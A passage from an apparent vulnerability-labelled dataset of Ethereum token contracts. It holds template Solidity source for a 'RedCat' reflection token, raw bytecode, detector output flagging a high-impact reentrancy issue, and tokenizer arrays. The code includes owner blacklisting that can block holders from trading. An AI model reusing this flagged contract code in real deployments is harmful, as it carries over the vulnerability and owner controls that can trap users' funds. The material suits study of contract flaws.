_takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb14610295578063b515566a146102b5578063c3c8cd80146102d5578063c9567bf9146102ea578063dd62ed3e146102ff57600080fd5b806370a0823114610238578063715018a6146102585780638da5cb5b1461026d57806395d89b411461010e57600080fd5b8063273123b7116100d1578063273123b7146101c5578063313ce567146101e75780635932ead1146102035780636fc3eaec1461022357600080fd5b806306fdde031461010e578063095ea7b31461014c57806318160ddd1461017c57806323b872dd146101a557600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201825260068152655069636b6c6560d01b6020820152905161014391906117b1565b60405180910390f35b34801561015857600080fd5b5061016c61016736600461165a565b610345565b6040519015158152602001610143565b34801561018857600080fd5b506b033b2e3c9fd0803ce80000005b604051908152602001610143565b3480156101b157600080fd5b5061016c6101c036600461161a565b61035c565b3480156101d157600080fd5b506101e56101e03660046115aa565b6103c5565b005b3480156101f357600080fd5b5060405160098152602001610143565b34801561020f57600080fd5b506101e561021e36600461174c565b610419565b34801561022f57600080fd5b506101e5610461565b34801561024457600080fd5b506101976102533660046115aa565b61048e565b34801561026457600080fd5b506101e56104b0565b34801561027957600080fd5b506000546040516001600160a01b039091168152602001610143565b3480156102a157600080fd5b5061016c6102b036600461165a565b610524565b3480156102c157600080fd5b506101e56102d0366004611685565b610531565b3480156102e157600080fd5b506101e56105d5565b3480156102f657600080fd5b506101e561060b565b34801561030b57600080fd5b5061019761031a3660046115e2565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103523384846109d4565b5060015b92915050565b6000610369848484610af8565b6103bb84336103b685604051806060016040528060288152602001611982602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610e45565b6109d4565b5060019392505050565b6000546001600160a01b031633146103f85760405162461bcd60e51b81526004016103ef90611804565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104435760405162461bcd60e51b81526004016103ef90611804565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b03161461048157600080fd5b4761048b81610e7f565b50565b6001600160a01b03811660009081526002602052604081205461035690610f04565b6000546001600160a01b031633146104da5760405162461bcd60e51b81526004016103ef90611804565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610352338484610af8565b6000546001600160a01b0316331461055b5760405162461bcd60e51b81526004016103ef90611804565b60005b81518110156105d15760016006600084848151811061058d57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105c981611917565b91505061055e565b5050565b600c546001600160a01b0316336001600160a01b0316146105f557600080fd5b60006106003061048e565b905061048b81610f88565b6000546001600160a01b031633146106355760405162461bcd60e51b81526004016103ef90611804565b600f54600160a01b900460ff161561068f5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103ef565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106cf30826b033b2e3c9fd0803ce80000006109d4565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561070857600080fd5b505afa15801561071c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061074091906115c6565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561078857600080fd5b505afa15801561079c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c091906115c6565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561080857600080fd5b505af115801561081c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061084091906115c6565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d71947306108708161048e565b6000806108856000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156108e857600080fd5b505af11580156108fc573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109219190611784565b5050600f80546a0e79c4e6a3023e8180000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b15801561099c57600080fd5b505af11580156109b0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105d19190611768565b6001600160a01b038316610a365760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103ef565b6001600160a01b038216610a975760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103ef565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b5c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103ef565b6001600160a01b038216610bbe5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103ef565b60008111610c205760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103ef565b6001600a556009600b556000546001600160a01b03848116911614801590610c5657506000546001600160a01b03838116911614155b15610e35576001600160a01b03831660009081526006602052604090205460ff16158015610c9d57506001600160a01b03821660009081526006602052604090205460ff16155b610ca657600080fd5b600f546001600160a01b038481169116148015610cd15750600e546001600160a01b03838116911614155b8015610cf657506001600160a01b03821660009081526005602052604090205460ff16155b8015610d0b5750600f54600160b81b900460ff165b15610d6857601054811115610d1f57600080fd5b6001600160a01b0382166000908152600760205260409020544211610d4357600080fd5b610d4e42601e6118a9565b6001600160a01b0383166000908152600760205260409020555b600f546001600160a01b038381169116148015610d935750600e546001600160a01b03848116911614155b8015610db857506001600160a01b03831660009081526005602052604090205460ff16155b15610dc8576001600a556009600b555b6000610dd33061048e565b600f54909150600160a81b900460ff16158015610dfe5750600f546001600160a01b03858116911614155b8015610e135750600f54600160b01b900460ff165b15610e3357610e2181610f88565b478015610e3157610e3147610e7f565b505b505b610e4083838361112d565b505050565b60008184841115610e695760405162461bcd60e51b81526004016103ef91906117b1565b506000610e768486611900565b95945050505050565b600c546001600160a01b03166108fc610e99836002611138565b6040518115909202916000818181858888f19350505050158015610ec1573d6000803e3d6000fd5b50600d546001600160a01b03166108fc610edc836002611138565b6040518115909202916000818181858888f193505050501580156105d1573d6000803e3d6000fd5b6000600854821115610f6b5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016103ef565b6000610f7561117a565b9050610f818382611138565b9392505050565b600f805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610fde57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561103257600080fd5b505afa158015611046573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061106a91906115c6565b8160018151811061108b57634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546110b191309116846109d4565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906110ea908590600090869030904290600401611839565b600060405180830381600087803b15801561110457600080fd5b505af1158015611118573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610e4083838361119d565b6000610f8183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611294565b60008060006111876112c2565b90925090506111968282611138565b9250505090565b6000806000806000806111af8761130a565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506111e19087611367565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461121090866113a9565b6001600160a01b03891660009081526002602052604090205561123281611408565b61123c8483611452565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161128191815260200190565b60405180910390a3505050505050505050565b600081836112b55760405162461bcd60e51b81526004016103ef91906117b1565b506000610e7684866118c1565b60085460009081906b033b2e3c9fd0803ce80000006112e18282611138565b821015611301575050600854926b033b2e3c9fd0803ce800000092509050565b90939092509050565b60008060008060008060008060006113278a600a54600b54611476565b925092509250600061133761117a565b9050600080600061134a8e8787876114cb565b919e509c509a509598509396509194505050505091939550919395565b6000610f8183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e45565b6000806113b683856118a9565b905083811015610f815760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103ef565b600061141261117a565b90506000611420838361151b565b3060009081526002602052604090205490915061143d90826113a9565b30600090815260026020526040902055505050565b60085461145f9083611367565b60085560095461146f90826113a9565b6009555050565b6000808080611490606461148a898961151b565b90611138565b905060006114a3606461148a8a8961151b565b905060006114bb826114b58b86611367565b90611367565b9992985090965090945050505050565b60008080806114da888661151b565b905060006114e8888761151b565b905060006114f6888861151b565b90506000611508826114b58686611367565b939b939a50919850919650505050505050565b60008261152a57506000610356565b600061153683856118e1565b90508261154385836118c1565b14610f815760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103ef565b80356115a58161195e565b919050565b6000602082840312156115bb578081fd5b8135610f818161195e565b6000602082840312156115d7578081fd5b8151610f818161195e565b600080604083850312156115f4578081fd5b82356115ff8161195e565b9150602083013561160f8161195e565b809150509250929050565b60008060006060848603121561162e578081fd5b83356116398161195e565b925060208401356116498161195e565b929592945050506040919091013590565b6000806040838503121561166c578182fd5b82356116778161195e565b946020939093013593505050565b60006020808385031215611697578182fd5b823567ffffffffffffffff808211156116ae578384fd5b818501915085601f8301126116c1578384fd5b8135818111156116d3576116d3611948565b8060051b604051601f19603f830116810181811085821117156116f8576116f8611948565b604052828152858101935084860182860187018a1015611716578788fd5b8795505b8386101561173f5761172b8161159a565b85526001959095019493860193860161171a565b5098975050505050505050565b60006020828403121561175d578081fd5b8135610f8181611973565b600060208284031215611779578081fd5b8151610f8181611973565b600080600060608486031215611798578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b818110156117dd578581018301518582016040015282016117c1565b818111156117ee5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156118885784516001600160a01b031683529383019391830191600101611863565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156118bc576118bc611932565b500190565b6000826118dc57634e487b7160e01b81526012600452602481fd5b500490565b60008160001904831182151516156118fb576118fb611932565b500290565b60008282101561191257611912611932565b500390565b600060001982141561192b5761192b611932565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461048b57600080fd5b801515811461048b57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201b4288c866a4e65bcfe79b52a7e2fc03e3adee9c8c52dcc83c28e938149af5d964736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 14526, 16665, 2063, 10790, 2509, 19797, 2620, 2546, 21084, 2497, 2581, 9468, 27531, 18139, 2546, 22907, 2475, 2063, 2549, 27717, 2094, 2549, 2278, 2581, 2575, 2620, 2683, 1013, 1008, 1008, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1018, 1025, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 1065, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 4070, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,615
0x9711fdc76f40f42d592260a314da81c0082c0026
/** */ /** Telegram: https://t.me/RedCatEth Website: https://redcat.live */ /** //SPDX-License-Identifier: UNLICENSED */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract RedCat is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "RedCat"; string private constant _symbol = "RedCat"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0xa34168AB51329ff773070915AB79A96FCeD06cA4); _feeAddrWallet2 = payable(0x80b45F9E28DbF8993B33F2dC2A9a3C97abbdf5EE); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(this), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 1; _feeAddr2 = 11; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (60 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 1; _feeAddr2 = 11; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 15000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb14610295578063b515566a146102b5578063c3c8cd80146102d5578063c9567bf9146102ea578063dd62ed3e146102ff57600080fd5b806370a0823114610238578063715018a6146102585780638da5cb5b1461026d57806395d89b411461010e57600080fd5b8063273123b7116100d1578063273123b7146101c5578063313ce567146101e75780635932ead1146102035780636fc3eaec1461022357600080fd5b806306fdde031461010e578063095ea7b31461014c57806318160ddd1461017c57806323b872dd146101a557600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b50604080518082018252600681526514995910d85d60d21b602082015290516101439190611792565b60405180910390f35b34801561015857600080fd5b5061016c610167366004611632565b610345565b6040519015158152602001610143565b34801561018857600080fd5b506b033b2e3c9fd0803ce80000005b604051908152602001610143565b3480156101b157600080fd5b5061016c6101c03660046115f1565b61035c565b3480156101d157600080fd5b506101e56101e036600461157e565b6103c5565b005b3480156101f357600080fd5b5060405160098152602001610143565b34801561020f57600080fd5b506101e561021e36600461172a565b610419565b34801561022f57600080fd5b506101e5610461565b34801561024457600080fd5b5061019761025336600461157e565b61048e565b34801561026457600080fd5b506101e56104b0565b34801561027957600080fd5b506000546040516001600160a01b039091168152602001610143565b3480156102a157600080fd5b5061016c6102b0366004611632565b610524565b3480156102c157600080fd5b506101e56102d036600461165e565b610531565b3480156102e157600080fd5b506101e56105c7565b3480156102f657600080fd5b506101e56105fd565b34801561030b57600080fd5b5061019761031a3660046115b8565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103523384846109c6565b5060015b92915050565b6000610369848484610aea565b6103bb84336103b68560405180606001604052806028815260200161197e602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610e35565b6109c6565b5060019392505050565b6000546001600160a01b031633146103f85760405162461bcd60e51b81526004016103ef906117e7565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104435760405162461bcd60e51b81526004016103ef906117e7565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b03161461048157600080fd5b4761048b81610e6f565b50565b6001600160a01b03811660009081526002602052604081205461035690610ef4565b6000546001600160a01b031633146104da5760405162461bcd60e51b81526004016103ef906117e7565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610352338484610aea565b6000546001600160a01b0316331461055b5760405162461bcd60e51b81526004016103ef906117e7565b60005b81518110156105c35760016006600084848151811061057f5761057f61192e565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105bb816118fd565b91505061055e565b5050565b600c546001600160a01b0316336001600160a01b0316146105e757600080fd5b60006105f23061048e565b905061048b81610f78565b6000546001600160a01b031633146106275760405162461bcd60e51b81526004016103ef906117e7565b600f54600160a01b900460ff16156106815760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103ef565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106c130826b033b2e3c9fd0803ce80000006109c6565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156106fa57600080fd5b505afa15801561070e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610732919061159b565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561077a57600080fd5b505afa15801561078e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107b2919061159b565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156107fa57600080fd5b505af115801561080e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610832919061159b565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d71947306108628161048e565b6000806108776000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156108da57600080fd5b505af11580156108ee573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109139190611764565b5050600f80546a0c685fa11e01ec6f00000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b15801561098e57600080fd5b505af11580156109a2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105c39